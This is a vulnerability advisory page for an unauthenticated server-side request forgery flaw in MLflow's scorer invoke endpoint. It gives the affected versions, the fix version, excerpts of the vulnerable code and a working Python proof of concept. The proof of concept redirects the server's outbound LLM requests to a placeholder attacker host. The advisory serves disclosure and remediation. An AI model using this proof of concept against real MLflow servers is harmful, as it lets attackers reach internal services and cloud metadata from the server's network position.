Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

Skip to content
Check your stack
GHSA-2wqp-q3c6-ccj5

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

Products / packages mlflow

Published

Share

Severity and exploitation

Not in CISA KEVSource: MODERATE

KEV coverage does not rule out exploitation.

KEV checked 07/11/2026, 23:10:32 UTC
OSV · CVSS:3.1 · 6.5
Assessment vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
GitHub_M · CVSS:3.1 · 6.5
Assessment vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
The headline uses the highest imported catalog score. Assessments can differ by source and CVSS version.

Severity

medium6.5

CVSS measures technical severity, not the likelihood of an attack.

Known exploitation

Not listed in the checked CISA KEV catalog

Absence from CISA KEV does not rule out attacks.

Public exploit

Exploit reference published

Source-linked evidence; not proof of attacks in the wild or independent validation.

Remediation

Package fixes recorded

Fix versions are recorded for 1 of 1 mapped packages. Check each release branch and any separate product guidance.

What this means

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Source excerpt · OSV

Attack conditions

  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup). This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Excerpt from the original source description below.

Review supporting sources →

Affected versions

Check the exact model, release, and any platform requirements against your installation.

mlflow · GitHub_M

mlflow

1 range

Compare with this publisher’s ranges. This does not inspect your installation.

affected

>= 3.12.0rc0, < 3.17.0

unaffected

unknown

Other versions: unknown

Packages

Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.

Affected range Recorded fix
From 3.12.0rc0 before 3.17.0Ecosystem versions3.17.0

Version evidence: OSV · GHSA-2wqp-q3c6-ccj5

View original version evidence (10 explicit versions)

What to do

Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.

Use the recorded fix for your release branch. Review the publisher’s instructions and test compatibility before upgrading.

cve.new guidance unless attributed to a publisher. This page does not inspect your installation.

Public exploit evidence

The sources identify public exploit references. We have not independently tested them; their availability does not establish exploitation in the wild.

mlflow/mlflow · security/advisories/GHSA-2wqp-q3c6-ccj5 ↗Attributed to CISA-ADP

Original source description

Read the full publisher description

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

References

5 sources

Inside the record

Evidence available

Package identity
Version evidence
Remediation guidance · not supplied
Weakness classification
Additional publishers

Describes the evidence in this view, not whether the product is safe.

Original records

CVE-2026-115886

View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.

cve.new JSON →

Underlying weaknesses

The source’s classification of what caused the vulnerability.

CWE-470 ↗

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

GitHub_M

Related →
CWE-918 ↗

CWE-918: Server-Side Request Forgery (SSRF)

GitHub_M

Related →
Contributing organizations · 2
GitHub_M

Assigning organization

2026-10-23
CISA-ADP

Additional data publisher

2026-10-29

Timeline

All times UTC
  1. Advisory published

    Publication date supplied by the source.

  2. Source updated

    Latest modification date supplied by the source.

  3. Last imported by cve.new

    Latest catalog import, not the date we first saw this advisory.

What changed

Follow changes
No substantive changes have been recorded here yet. History starts when cve.new observes a change after tracking is enabled; earlier edits are not reconstructed.

Large field values are marked as truncated previews. Original source snapshots remain retained.